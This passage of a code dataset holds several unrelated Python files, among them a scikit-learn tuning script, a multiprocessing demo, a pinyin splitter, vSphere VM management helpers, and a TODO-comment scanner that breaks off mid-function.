...\n    def find_elements(self, locator: str, parent: WebElement = None): ...\n    def _parse_plugins(self, plugins: Any): ...\n    def _parse_plugin_doc(self): ...\n    def _get_intro_documentation(self): ...\n    def _parse_listener(self, event_firing_webdriver: Any): ...\n    def _string_to_modules(self, modules: Any): ...\n    def _store_plugin_keywords(self, plugin): ...\n    def _resolve_screenshot_root_directory(self): ...\n\"\"\"\n\nINIT_METHOD = KeywordBuilder.build(SL.__init__)\nwith open(\"src/SeleniumLibrary/__init__.pyi\", \"w\") as stub_file:\n    stub_file.write(pyi_boilerplate)\n    stub_file.write(\n        keyword_line(\n            INIT_METHOD.argument_specification, INIT_METHOD.argument_types, \"__init__\"\n        )\n    )\n    stub_file.writelines(FUNCTION_LIST)\n    stub_file.write(\"\\n    # methods from library.\")\n    stub_file.writelines(pyi_boilerplate_append.splitlines(keepends=True))\n","repo_name":"robotframework/SeleniumLibrary","sub_path":"gen_stub.py","file_name":"gen_stub.py","file_ext":"py","file_size_in_byte":5194,"program_lang":"python","lang":"en","doc_type":"code","stars":1288,"dataset":"github-code","pt":"79"}
+{"seq_id":"15511007602","text":"#coding=utf-8\n'''\n@author: Teren\n机器学习方法预测以及基础调参\n'''\n\nimport pandas as pd\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.svm import LinearSVC\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import AdaBoostClassifier\n\n\noutput = 'baseline_SVC_goodtfidf_charword_nmf.csv'\nindex = True\nindex_num = 100\nmodel_name = 'LR'\n\n\"\"\"\n数据输入\n\"\"\"\ndata = open('../data/data_nmf_good_charword_30w.pkl','rb')\nimport pickle\nx_train,y_train ,x_test = pickle.load(data)\n\n\n\nclass SKModel:\n\n    def __init__(self,x_train,y_train,x_test,model,output):\n        self.x_train=x_train\n        self.y_train=y_train\n        self.x_test=x_test\n        self.output=output\n        clf = self.train_model(model)\n        self.y_predict = clf.predict(self.x_test)\n\n    def train_model(self,model):\n        if model=='NB':\n            clf = MultinomialNB(alpha=1)\n            params = {'alpha': [0.001]}\n            grid = GridSearchCV(clf, params, scoring='f1_micro')\n            grid.fit(self.x_train, self.y_train)\n            print (grid.best_score_)\n            print (grid.best_params_)\n            clf = grid.best_estimator_\n        elif model == 'LR':\n            clf = LogisticRegression() #0.75  #C>=100 select #C>=100 endsemble #C>=100 cutcharwordselect\n            params = {'C': [1, 10, 100]}\n            grid = GridSearchCV(clf, params, scoring='f1_micro')\n            grid.fit(self.x_train, self.y_train)\n            print (grid.best_score_)\n            print (grid.best_params_)\n            clf = grid.best_estimator_\n        elif model == 'SVM':\n            clf = SVC()\n            clf.fit(self.x_train,self.y_train)\n        elif model == 'Softmax':\n            clf = LogisticRegression(multi_class='multinomial',solver='lbfgs')  # 0.77 3rd C=10\n            params = {'C': [1,10,100]}\n            grid = GridSearchCV(clf, params, scoring='f1_micro')\n            grid.fit(self.x_train, self.y_train)\n            print (grid.best_score_)\n            print (grid.best_params_)\n            clf = grid.best_estimator_\n        elif model == 'LinearSVC': #C=1 0.77 1st tfidf #C=100 lsa\n            clf = LinearSVC(C=1,max_iter=1000,verbose=1,multi_class='ovr')\n            params = {'C':[1,10]}\n            grid = GridSearchCV(clf,params,scoring='f1_micro',n_jobs=-1)\n            grid.fit(self.x_train,self.y_train)\n            print (grid.best_score_)\n            print (grid.best_params_)\n            clf = grid.best_estimator_\n        elif model =='AdaLR':\n            bclf = LogisticRegression(C=100)\n            clf = AdaBoostClassifier(base_estimator=bclf,learning_rate=1)\n            params = {'learning_rate': [0.1]}\n            grid = GridSearchCV(clf, params, scoring='f1_micro', n_jobs=-1)\n            grid.fit(self.x_train, self.y_train)\n            print (grid.best_score_)\n            print (grid.best_params_)\n            clf = grid.best_estimator_\n        return clf\n\n\n    def write_predict(self):\n        with open(self.output, 'a') as wf:\n            wf.write(\"id,class\\n\")\n            cot = 0\n            for i in self.y_predict:\n                wf.write(str(cot) + \",\" + str(i+1) + \"\\n\")\n                cot += 1\n\nif index:\n    SKModel(x_train[:index_num],y_train[:index_num],x_test[:index_num],model_name,output).write_predict()\nelse:\n    SKModel(x_train, y_train, x_test, model_name, output).write_predict()\nprint (output)\n\n\n\n\n\n\n\n","repo_name":"hnliu-git/machine_learnin_package","sub_path":"models/sk_basemodels.py","file_name":"sk_basemodels.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"20777419664","text":"import logging, multiprocessing, time\nfrom multiprocessing import Queue\n\nlogging.basicConfig(level=logging.DEBUG,\n                    format='(%(threadName)-9s) %(message)s', )\nlogger = logging.getLogger('logger')\n\n\ndef repeated_task(work_queue):\n    x = 0\n    logger.debug('Starting')\n    while not work_queue.empty():\n        try:\n            _work = work_queue.get(timeout=1)\n            logger.debug(f'got work: {_work}')\n        except Exception as _exc:\n            logger.debug(f'Exception caught, x = {x}, Exception: {_exc}')\n            return x / 100\n        y = 0\n        while y < _work:\n            x += 1\n            y += 1\n        logger.debug(f'Finished work, x = {x}')\n    logger.debug(f'Exiting, x = {x}')\n    return x / 100\n\n\ndef testing_multiprocessing_queue():\n    _interations = [1000, 10001, 100002, 1000003, 1000004]\n    _queue = Queue()\n    for _ in _interations:\n        _queue.put_nowait(_)\n    _worker = multiprocessing.Process(target=repeated_task, args=(_queue,))\n    _worker.start()\n    _worker.join()\n\n\ndef testing_multiprocessing_queue_multiple():\n    _interations = [1000, 10001, 100002, 13, 104, 1005, 1006, 1007, 1000008, 1000009]\n    _interations_sup = [20010, 20000011, 20000012, 20013, 200015]\n    _queue = Queue()\n    for _ in _interations:\n        _queue.put_nowait(_)\n    _worker1 = multiprocessing.Process(target=repeated_task, args=(_queue,))\n    _worker2 = multiprocessing.Process(target=repeated_task, args=(_queue,))\n    _worker1.start()\n    _worker2.start()\n    for _ in _interations_sup:\n        _queue.put_nowait(_)\n    _worker1.join()\n    _worker2.join()\n\n\nif __name__ == \"__main__\":\n    _start = time.time()\n    testing_multiprocessing_queue()\n    _end = _start - time.time()\n    print(f'Completed threaded queue: {_end}\\n\\n')\n    time.sleep(5)\n    _start = time.time()\n    testing_multiprocessing_queue_multiple()\n    _end = _start - time.time()\n    print(f'Completed threaded queue multiple workers: {_end}\\n\\n')\n","repo_name":"dbbohlin/training_python_concurency","sub_path":"multiprocess_queue.py","file_name":"multiprocess_queue.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"32277960522","text":"#Título\nprint(\"Menu de Opciones con Secuencias\\n\")\n\nOPCIONES = \"abcd\"\nMENU = \"a) Determinar cantidad y porcentaje de números múltiplos de 3 y 5 \" \\\n       \"dentro de una secuencia de números\\nb) Determinar la cantidad \" \\\n       \"de palabras de más de 4 letras en un texto\\nc) Determinar el alumno \" \\\n       \"con peor nota final de tres alumnos de posgrado\\nd) Salir\\n...\"\n\nop = \"z\"\n\nwhile not op in OPCIONES:\n    op = input(\"\\nSeleccione una opción del menú:\\n\" + MENU)\n    if not op in OPCIONES:\n        print(\"Error: Opción seleccionada invalida\")\n    # Opción de salida\n    if op == \"d\":\n        break\n    elif op == \"a\":\n        rondas = n = -1\n        mult_3 = mult_5 = porc_3 = porc_5 = 0\n        while rondas < 0:\n            rondas = int(input(\"Cuantos números se desean cargar?: \"))\n\n            # Validar cantidad de cargas mayores o iguales a 0\n            if rondas < 0:\n                print(\"Error: No se puede realizar un número \"\n                      \"negativo de cargas\")\n\n        #Carga de los \"n\" números 1 por 1\n        for i in range(rondas):\n            # Validar carga de números positivos\n            while n < 1:\n                n = float(input(\"Ingrese un número positivo: \"))\n                if n < 1:\n                    print(\"Error: Solo se deben cargar números mayores a 0\")\n\n             # Contar múltiplos de 3 y 5\n            if n % 3 == 0:\n                mult_3 += 1\n            if n % 5 == 0:\n                    mult_5 += 1\n\n            # Forzar ingreso y validación de más números\n            n = -1\n\n        # Verificar división por 0\n        if rondas:\n            porc_5 = mult_5 * (100 / rondas)\n            porc_3 = mult_3 * (100 / rondas)\n\n        # Visualización de resultados\n        print(\"\\nCantidad de números múltiplos de 3:\", mult_3,\n                \"\\tPorcentaje: %\", porc_3)\n        print(\"Cantidad de números múltiplos de 5:\", mult_5,\n                \"\\tPorcentaje: %\", porc_5)\n\n    elif op == \"b\":\n        texto = \"\"\n        letras = palabras_de_4 = 0\n        anterior = \"\"\n        while len(texto) == 0 or texto[-1] != \".\":\n            texto = input(\"Ingrese un texto finalizado en punto:\\n...\")\n            if len(texto) == 0 or texto[-1] != \".\":\n                print(\"Error: El texto ingresado no es válido\")\n        # Iterar texto\n        for i in texto:\n            if i == \".\":\n                # Validar si se formó una palabra de más de 4 letras\n                # antes de finalizar el texto\n                if letras > 4:\n                    palabras_de_4 += 1\n                break\n\n            elif (anterior.isalpha() or not anterior) and i.isalpha():\n                # Contar la cantidad de letras consecutivas\n                letras += 1\n\n            else:\n                # Reiniciar contador cuando se corte la secuencia de letras\n                if letras > 4:\n                    palabras_de_4 += 1\n                letras = 0\n\n        # Visualizar resultados\n        print(\"\\nCantidad de palabras con más de 4 letras:\", palabras_de_4)\n\n        # Actualizar el valor de la anterior letra\n        anterior = i\n\n    else:\n        min_nom = min_nota = None\n        for i in \"123\":\n            nom = input(\"Ingrese el nombre del \" + i + \"º alumno: \")\n            nota = -1\n            # Validación de nota\n            while nota < 0 or nota > 10:\n                nota = int(input(\"Ingrese la nota obtenida: \"))\n                if nota < 0 or nota > 10:\n                    print(\"Error: La nota debe ser un valor entre 0 y 10\")\n\n            if min_nota is None or nota < min_nota:\n                min_nota, min_nom = nota, nom\n\n        # Visualización de resultados\n        print(\"\\nAlumno con peor nota:\", min_nom)\n\n\n    # Forzar la visualización del menú\n    op = \"z\"\n\nprint(\"\\nFinalización del programa\")\n","repo_name":"BrisaDiaz/utn-python","sub_path":"ficha-8/ficha-8-ej-8.py","file_name":"ficha-8-ej-8.py","file_ext":"py","file_size_in_byte":3815,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"70355445696","text":"#!/usr/bin/env python3\n# vim:fileencoding=utf-8\n\n# Author: Eric Miao <eric.mjian@gmail.com>\n# Modified By: lilydjwg <lilydjwg@gmail.com>\n\npinyinList = ['a', 'o', 'e', 'ai', 'ei', 'ao', 'ou', 'an', 'en', 'vn', 'van', 'ang', 'eng',\n              'ba', 'bo', 'bi', 'bu', 'bai', 'bei', 'bao', 'bie', 'biao', 'ban', 'ben', 'bin','bian', 'bang', 'beng', 'bing',\n              'pa', 'po', 'pi', 'pu', 'pai', 'pei', 'pao', 'pou', 'pie', 'piao', 'pan', 'pen', 'pin', 'pian', 'pang', 'peng', 'ping',\n              'ma', 'mo', 'me', 'mi', 'mu', 'mai', 'mei', 'mao', 'mou', 'mie', 'miao', 'miu','man', 'men', 'min', 'mian', 'mang', 'meng', 'ming',\n              'fa', 'fo', 'fu', 'fei', 'nao', 'fou', 'fan', 'fen', 'fang', 'feng',\n              'da', 'de', 'di', 'du', 'dai', 'dao', 'dou', 'dia', 'die', 'duo', 'diao', 'diu', 'dui', 'dan', 'den', 'din', 'dian', 'duan', 'dun', 'dang', 'deng', 'ding', 'dong',\n              'ta', 'te', 'ti', 'tu', 'tai', 'tao', 'tou', 'tie', 'tuo', 'tiao', 'tui', 'tan', 'tin', 'tian', 'tuan', 'tun', 'tang', 'teng', 'ting', 'tong',\n              'na', 'ne', 'ni', 'nu', 'nai', 'nei', 'nao', 'nou', 'nie', 'nuo', 'nve', 'niao', 'niu', 'nan', 'nen', 'nin', 'nian', 'nuan', 'nun', 'nang', 'neng', 'ning', 'nong', 'niang',\n              'la', 'le', 'li', 'lu', 'lai', 'lei', 'lao', 'lou', 'lie', 'luo', 'lve', 'liao', 'liu', 'lan', 'len', 'lin', 'lian', 'luan', 'lun', 'lang', 'leng', 'ling', 'long', 'liang',\n              'ga', 'ge', 'gu', 'gai', 'gei', 'gao', 'gou', 'gua', 'guo', 'guai', 'gui', 'gan', 'gen', 'guan', 'gun', 'gang', 'geng', 'gong', 'guang',\n              'ka', 'ke', 'ku', 'kai', 'kei', 'kao', 'kou', 'kua', 'kuo', 'kuai', 'kui', 'kan', 'ken', 'kuan', 'kun', 'kang', 'keng', 'kong', 'kuang',\n              'ha', 'he', 'hu', 'hai', 'hei', 'hao', 'hou', 'hua', 'huo', 'huai', 'hui', 'han', 'hen', 'huan', 'hun', 'hang', 'heng', 'hong', 'huang',\n              'ju', 'jiao', 'jiu', 'jian', 'juan', 'jun', 'jing', 'jiang', 'jiong', 'jia',\n              'qi', 'qu', 'qia', 'qie', 'qiao', 'qiu', 'qin', 'qian', 'quan', 'qun', 'qing','qiang', 'qiong',\n              'xi', 'xu', 'xia', 'xie', 'xiao', 'xiu', 'xin', 'xian', 'xuan', 'xun', 'xing','xiang', 'xiong',\n              'zha', 'zhe', 'zhi', 'zhu', 'zhai', 'zhao', 'zhou', 'zhua', 'zhuo', 'zhuai', 'zhui', 'zhan', 'zhen', 'zhuan', 'zhun', 'zhang', 'zheng', 'zhong', 'zhuang',\n              'cha', 'che', 'chi', 'chu', 'chai', 'chao', 'chou', 'chuo', 'chuai', 'chui', 'chan', 'chen', 'chuan', 'chun', 'chang', 'cheng', 'chong', 'chuang',\n              'sha', 'she', 'shi', 'shu', 'shai', 'shao', 'shou', 'shua', 'shuo', 'shuai', 'shui', 'shan', 'shen', 'shuan', 'shun', 'shang', 'sheng', 'shong', 'shuang',\n              're', 'ri', 'ru', 'rao', 'rou', 'ruo', 'rui', 'ran', 'ren', 'ruan', 'run', 'rang', 'reng', 'rong',\n              'za', 'ze', 'zi', 'zu', 'zai', 'zei', 'zao', 'zou', 'zuo', 'zui', 'zan', 'zen','zuan', 'zun', 'zang', 'zeng', 'zong',\n              'ca', 'ce', 'ci', 'cu', 'cai', 'cao', 'cou', 'cuo', 'cui', 'can', 'cen', 'cuan', 'cun', 'cang', 'ceng', 'cong',\n              'sa', 'se', 'si', 'su', 'sai', 'sao', 'sou', 'suo', 'sui', 'san', 'sen', 'suan', 'sun', 'sang', 'seng', 'song',\n              'ya', 'yo', 'ye', 'yi', 'yu', 'yao', 'you', 'yan', 'yin', 'yuan', 'yun', 'yang', 'ying', 'yong',\n              'wo', 'wu', 'wai', 'wei', 'wan', 'wen', 'wang', 'weng', 'yong', 'er']\n\n\ndef split_pinyin(word):\n  print('=' * 12)\n  print(word)\n  output = False\n  ps = []\n  if len(word) == 0:\n    return True, []\n\n  pres = []\n  for pinyin in pinyinList:\n    l = len(pinyin)\n    if word[:l] == pinyin:\n      pres.append(pinyin)\n  print(pres)\n\n  if not pres:\n    return False, []\n\n  for pre in pres:\n    r, rp = split_pinyin(word[len(pre):])\n    if r:\n      output = True\n      ps.append(pre)\n      ps.extend(rp)\n      break\n  return output, ps\n\nif __name__ == '__main__':\n  import sys\n  print(split_pinyin(''.join(sys.argv[1:]) if len(sys.argv) > 1 else 'zheshiyigeceshi'))\n","repo_name":"lilydjwg/winterpy","sub_path":"pylib/pinyinsplit.py","file_name":"pinyinsplit.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"tg","doc_type":"code","stars":218,"dataset":"github-code","pt":"79"}
+{"seq_id":"71960435135","text":"from cool.modules.vSphere.vsphere_0_login_info import vc_session, vcip\n\n\n# 各种VC的基本操作\n# 获取虚拟机清单,获取的是如下的列表\n# [{'vm': 'vm-521', 'name': 'CentOS_14', 'power_state': 'POWERED_OFF'}]\ndef get_vms(vcip):\n    url = 'https://' + vcip + '/rest/vcenter/vm'\n    r = vc_session.get(url)\n    return r.json()['value']\n\n\n# 根据虚拟机唯一ID,获取CPU硬件配置\n# {'value': {'hot_remove_enabled': False, 'count': 1, 'hot_add_enabled': False, 'cores_per_socket': 1}}\ndef get_vm_cpu(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/hardware/cpu/'\n    r = vc_session.get(url)\n    return r.json()\n\n\n# 根据虚拟机唯一ID,获取内存硬件配置\n# {'value': {'size_MiB': 1024, 'hot_add_enabled': False}}\ndef get_vm_mem(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/hardware/memory/'\n    r = vc_session.get(url)\n    return r.json()\n\n\n# 获取虚拟机名字和唯一ID的映射字典\n# {'CentOS_14': 'vm-521'}\ndef get_vms_name_id(vcip):\n    url = 'https://' + vcip + '/rest/vcenter/vm'\n    r = vc_session.get(url)\n    # 将每个虚拟机的vm和name做映射\n    return {x['name']: x['vm'] for x in r.json()['value']}\n\n\n# 获取特定名字虚拟机的唯一ID\ndef get_vms_id_by_name(vcip, vmname):\n    return get_vms_name_id(vcip).get(vmname)\n\n\n# 基于虚拟机唯一ID获取当前电源状态\n# {'state': 'POWERED_ON'}\ndef get_vm_power_status(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/power'\n    r = vc_session.get(url)\n    return r.json()['value']\n\n\n# 基于虚拟机唯一ID打开虚拟机电源\ndef poweron_vm(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/power/start'\n    r = vc_session.post(url)\n    try:\n        return r.json()\n    except Exception:\n        return 'vm has power on'\n\n\n# 基于虚拟机名字打开虚拟机电源，嵌套了唯一ID转name函数\ndef poweron_vm_by_name(vcip, vmname):\n    poweron_vm(vcip, get_vms_id_by_name(vcip, vmname))\n\n\n# 基于虚拟机唯一ID关闭虚拟机电源\ndef poweroff_vm(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/power/stop'\n    r = vc_session.post(url)\n    try:\n        return r.json()\n    except Exception:\n        return 'vm has power off'\n\n\n# 基于虚拟机名字关闭虚拟机电源\ndef poweroff_vm_by_name(vcip, vmname):\n    poweroff_vm(vcip, get_vms_id_by_name(vcip, vmname))\n\n\n# 基于虚拟机唯一ID,获取虚拟机网卡唯一ID\n# {'value': [{'nic': '4000'}]}\ndef get_vm_nics(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/hardware/ethernet'\n    r = vc_session.get(url)\n    return r.json()\n\n\n# 基于虚拟机唯一ID, 网卡唯一ID,获取特定网卡详细信息\n# {'value': {'start_connected': True, 'backing': {'network_name': 'VLAN14', 'type': 'STANDARD_PORTGROUP', 'network': 'network-522'}, 'mac_address': '00:50:56:b1:0c:04', 'mac_type': 'ASSIGNED', 'allow_guest_control': True, 'wake_on_lan_enabled': True, 'label': 'Network adapter 1', 'state': 'CONNECTED', 'type': 'VMXNET3', 'upt_compatibility_enabled': False}}\ndef get_vm_nic_detail(vcip, vmid, nic):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/hardware/ethernet/' + nic\n    r = vc_session.get(url)\n    return r.json()\n\n\n# 获取所有网络信息(Port-Group)\n# {'value': [{'name': 'VLAN14', 'type': 'STANDARD_PORTGROUP', 'network': 'network-522'}, {'name': 'VM Network', 'type': 'STANDARD_PORTGROUP', 'network': 'network-30'}]}\ndef get_networks(vcip):\n    url = 'https://' + vcip + '/rest/vcenter/network'\n    r = vc_session.get(url)\n    return r.json()\n\n\n# 修改特定虚拟机(唯一ID),特定网卡(唯一ID)的Port-Group(唯一ID)\ndef update_vm_nic(vcip, vmid, nic, network_name):\n    network_nic_json = {\n        \"spec\": {\n            \"backing\": {\n                \"type\": \"STANDARD_PORTGROUP\",\n                \"network\": network_name\n            },\n        }\n    }\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/hardware/ethernet/' + nic\n    r = vc_session.patch(url, json=network_nic_json)\n    return r.text\n\n\n# 获取ESXi主机信息\n# {'value': [{'host': 'host-28', 'name': '172.16.1.201', 'connection_state': 'CONNECTED', 'power_state': 'POWERED_ON'}]}\ndef get_hosts(vcip):\n    url = 'https://' + vcip + '/rest/vcenter/host'\n    r = vc_session.get(url)\n    return r.json()\n\n\n# 获取存储信息\n# {'value': [{'datastore': 'datastore-29', 'name': 'datastore1', 'type': 'VMFS', 'free_space': 78788952064, 'capacity': 99321118720}]}\ndef get_datastores(vcip):\n    url = 'https://' + vcip + '/rest/vcenter/datastore'\n    r = vc_session.get(url)\n    return r.json()\n\n\n# 获取各种类型文件夹的名字和唯一ID\n# {'value': [{'folder': 'group-d1', 'name': 'Datacenters', 'type': 'DATACENTER'}, {'folder': 'group-h23', 'name': 'host', 'type': 'HOST'}, {'folder': 'group-n25', 'name': 'network', 'type': 'NETWORK'}, {'folder': 'group-s24', 'name': 'datastore', 'type': 'DATASTORE'}, {'folder': 'group-v110', 'name': 'vm_template', 'type': 'VIRTUAL_MACHINE'}, {'folder': 'group-v111', 'name': 'vm_cloned_from_template', 'type': 'VIRTUAL_MACHINE'}, {'folder': 'group-v22', 'name': 'vm', 'type': 'VIRTUAL_MACHINE'}, {'folder': 'group-v65', 'name': 'qytvm', 'type': 'VIRTUAL_MACHINE'}]}\ndef get_folders(vcip):\n    url = 'https://' + vcip + '/rest/vcenter/folder'\n    r = vc_session.get(url)\n    return r.json()\n\n\n# 创建虚拟机\n# 需要指定文件夹(虚拟机类型),��机,存储\n# 名字,操作系统,内存,CPU\ndef create_vm(vcip, vmname):\n    vm_json = {\n        \"spec\": {\n            \"placement\": {\n                \"folder\": \"group-v825\",\n                \"host\": \"host-684\",\n                \"datastore\": \"datastore-686\"\n            },\n            \"name\": vmname,\n            \"guest_OS\": \"RHEL_7_64\",\n            \"memory\": {\n                \"hot_add_enabled\": True,\n                \"size_MiB\": 2048\n            },\n            \"cpu\": {\n                \"count\": 1,\n                \"hot_add_enabled\": True,\n                \"hot_remove_enabled\": True,\n                \"cores_per_socket\": 1\n            }\n        }\n    }\n    url = 'https://' + vcip + '/rest/vcenter/vm/'\n    r = vc_session.post(url, json=vm_json)\n    return r.json()\n\n\n# 基于虚拟机的唯一ID,删除一个虚拟机\ndef delete_vm(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid\n    r = vc_session.delete(url)\n    return r.text\n\n\n# 基于虚拟机的名字删除虚拟机,先关机在删除\ndef delete_vm_by_name(vcip, vmname):\n    # Vmdb.objects.get(vm_name=vmname).delete()\n    # 调用关闭电源函数，对虚拟机关机\n    poweroff_vm(vcip, get_vms_id_by_name(vcip, vmname))\n    delete_vm(vcip, get_vms_id_by_name(vcip, vmname))\n\n\n# 为虚拟机添加网卡,关联Port-Group,返回添加网卡的唯一ID\n# {\"value\":\"4000\"}\ndef add_vm_nic(vcip, vmid, network_name):\n    add_nic_json = {\n        \"spec\": {\n            \"backing\": {\n                \"type\": \"STANDARD_PORTGROUP\",\n                \"network\": network_name\n            },\n            \"allow_guest_control\": True,\n            \"mac_type\": \"ASSIGNED\",\n            \"wake_on_lan_enabled\": True,\n            \"start_connected\": True,\n            \"type\": \"VMXNET3\"\n        }\n    }\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/hardware/ethernet'\n    r = vc_session.post(url, json=add_nic_json)\n    return r.text\n\n\n# 增加CD-ROM\n# {'value': '16000'}\ndef add_vm_cdrom(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/hardware/cdrom'\n    request_body = {\n                    \"spec\": {\n                        \"sata\": {\n                            \"unit\": 0,\n                            \"bus\": 0\n                        },\n\n                        \"allow_guest_control\": True,\n                        \"backing\": {\n\n                            \"iso_file\": \"[data-esxi] IOS/ubuntu-18.04.3-desktop-amd64.iso\",\n\n                            \"type\": \"ISO_FILE\"\n                        },\n                        \"start_connected\": True,\n                        \"type\": \"SATA\"\n                    }\n                }\n\n    r = vc_session.post(url, json=request_body)\n    return r.json()\n\n\n# 增加SATA控制器，否则无法增加CD-ROM\n# {'value': '16000'}\ndef add_vm_sata_control(vcip, vmid):\n    url = 'https://' + vcip + '/rest/vcenter/vm/' + vmid + '/hardware/adapter/sata'\n    request_body = {\n                  \"spec\": {\n                    \"bus\": 0,\n                    \"pci_slot_number\": 0,\n                    \"type\": \"AHCI\"\n                  }\n                }\n\n    r = vc_session.post(url, json=request_body)\n    return r.json()\n\n\nif __name__ == '__main__':\n\n    # 获取所有虚拟机数据\n    print(get_vms(vcip))\n\n    # 基于vm_id，获取vm_cpu数据\n    # print(get_vm_cpu(vcip, 'vm-690'))\n\n    # 获取vm_name和vm_id的映射关系\n    # print(get_vms_name_id(vcip))\n\n    # 基于vm_name，获取vm_id\n    # print(get_vms_id_by_name(vcip, \"CentOS_45\"))\n\n    # 基于vm_name，关闭vm电源\n    # poweroff_vm_by_name(vcip, \"kali linux\")\n\n    # 基于vm_name，开启vm电源\n    # poweron_vm_by_name(vcip, \"kali linux\")\n\n    # 基于vm_id，获取vm电源状态\n    # print(get_vm_power_status(vcip, 'vm-741'))\n\n    # 基于vm_id，开启vm电源\n    # print(poweron_vm(vcip, 'vm-741'))\n\n    # 基于vm_id，关闭vm电源\n    # print(poweroff_vm(vcip, 'vm-741'))\n\n    # 获取所有网络信息\n    print(get_networks(vcip))\n\n    # 基于vm_id，获取网卡_id\n    # print(get_vm_nics(vcip, 'vm-690'))\n\n    # 基于vm_od, 网卡_id，获取特定网卡详细信息\n    # print(get_vm_nic_detail(vcip, 'vm-741', '4000'))\n\n    # 基于vm_id，网卡_id，修改为指定的network\n    # print(update_vm_nic(vcip, 'vm-741', '4000', 'network-688'))\n\n    # 获取EXSI主机数据\n    # print(get_hosts(vcip))\n\n    # 获取storage数据\n    # print(get_datastores(vcip))\n\n    # 获取各种类型文件夹的名字和唯一ID\n    # print(get_folders(vcip))\n\n    # 创建vm，未关联ISO、网卡\n    # print(create_vm(vcip, 'snow_newvm'))\n\n    # 基于vm_id，增加网卡并关联网络\n    # print(add_vm_nic(vcip, 'vm-851', 'network-852'))\n\n    # 基于vm_id，增加CDROM并关联ISO\n    # print(add_vm_cdrom(vcip, 'vm-842'))\n\n    # 基于vm_id，增加SATA控制器\n    # print(add_vm_sata_control(vcip, 'vm-842'))\n\n    # 基于vm_id，删除vm\n    # print(delete_vm(vcip, \"vm-841\"))\n\n    # 基于vm_name，删除vm\n    # print(delete_vm_by_name(vcip, 'CentOS_58'))\n\n\n","repo_name":"lxngoddess5321/cool","sub_path":"cool/modules/vSphere/vsphere_0_vc_basic_actions.py","file_name":"vsphere_0_vc_basic_actions.py","file_ext":"py","file_size_in_byte":10460,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"36236556375","text":"import sys\nimport os\nimport argparse\nimport pygments\nimport json\nfrom argparse import ArgumentParser\nfrom pygments.token import *\nfrom pygments.lexers import guess_lexer, guess_lexer_for_filename\nfrom src.todo import TODO\n\nglobal_error_list = []\n\ndef parse_args(args = None):\n    '''\n    Argument Parsing Helper Function\n\n    Setups and runs the arg parse library to parse the command line arguments for us.\n\n    Returns\n    -------\n        Already populated set of arguments ready for the taking.\n    '''\n    app_description = \"\"\" WHATODO - \n        Keeps track of your TODO tasks in code. This quick app will scan\n        all the files provided and give give you the location and summary \n        of any pending tasks marked with TODO.\n    \"\"\"\n    # make the parser\n    parser = argparse.ArgumentParser(description = app_description)\n    \n    # take command line arguments and make array\n    parser.add_argument('files', type=str, nargs = '+', help = \"File for TODO checking\")\n    parser.add_argument('-k', '--keywords', type=str, nargs = '*', default=['TODO', 'todo', 'FIXME'], \n                        help = \"Keywords for TODO items, case sensitive. Defaults to TODO\")\n    parser.add_argument('--json', action='store_const', const=True)\n\n    return parser.parse_args(args)\n\ndef get_tokens_from_file(filepath):\n    # Read the file in\n    file_text = \"\"\n\n    # Check if filename is an actual valid file\n    if os.path.isfile(filepath):\n        with open(filepath) as file:\n            try:\n                for line in file:\n                    file_text += line\n            except UnicodeDecodeError as e:\n                global_error_list.append( filepath + \" : \" + str(e))\n                return {}\n\n    else:\n        global_error_list.append(\"ERROR: \" + filepath + \" is not a file. Can't process.\")\n        return {}\n\n    # Determine the lexer we need to use to understand this file\n    lexer = None\n\n    # TODO Determine the best way of figuring out the mimetype for certain files,\n    #      right now we suck.. Like bad.\n    try:\n        lexer = guess_lexer_for_filename(filepath, file_text)\n    except Exception as e:\n        lexer = guess_lexer(file_text)\n    finally:\n        if lexer == None:\n            global_error_list.append(\"ERROR:\\tUnable to find a lexer\\n\\t\\t\\tCan't process \" + str(filepath))\n            return {}\n    #print(lexer)\n    comments_with_lines = {}\n\n    # Get the comment tokens\n    for comment in get_comment_tokens(file_text, lexer):\n        for num, line in enumerate(file_text.splitlines(), 1):\n            # Eliminate issues with newlines as comments\n            if len(comment.strip()) == 0:\n                continue\n            # Account for multi line comments, only take the comment line\n            # since we want to give out where the comment starts\n            first_comment_line = comment.splitlines()[0]\n\n            if first_comment_line in line:\n                if not num in comments_with_lines.keys():\n                    comments_with_lines[num] = comment\n                    break\n    \n    return comments_with_lines\n\n\ndef get_comment_tokens(file_text, lexer):\n    '''\n    Retrieves the set of tokens from the file\n\n    Arguments\n    ---------\n        file_text : str\n            Contains the file text that we are running the lexer through\n        lexer : pygments.lexer\n            The lexer to use for this file\n\n    Yields\n    ------\n        comment : str\n    '''\n    for tokens in pygments.lex(file_text, lexer):\n        if tokens[0] in Comment:\n            # Just yield the comment string, nothing more\n            yield tokens[1]\n\ndef find_Keywords(comment, keywords):\n    # constants\n    array = []\n    count = 0\n\n    todos = []\n\n    # loop through key words & split comment into lines\n    for keyword in keywords:\n        comment_line_by_line = comment.splitlines()\n\n        # loop through the lines and for each word strip white space\n        # see if the word in the comment matches keyword\n        for index,comment_line in 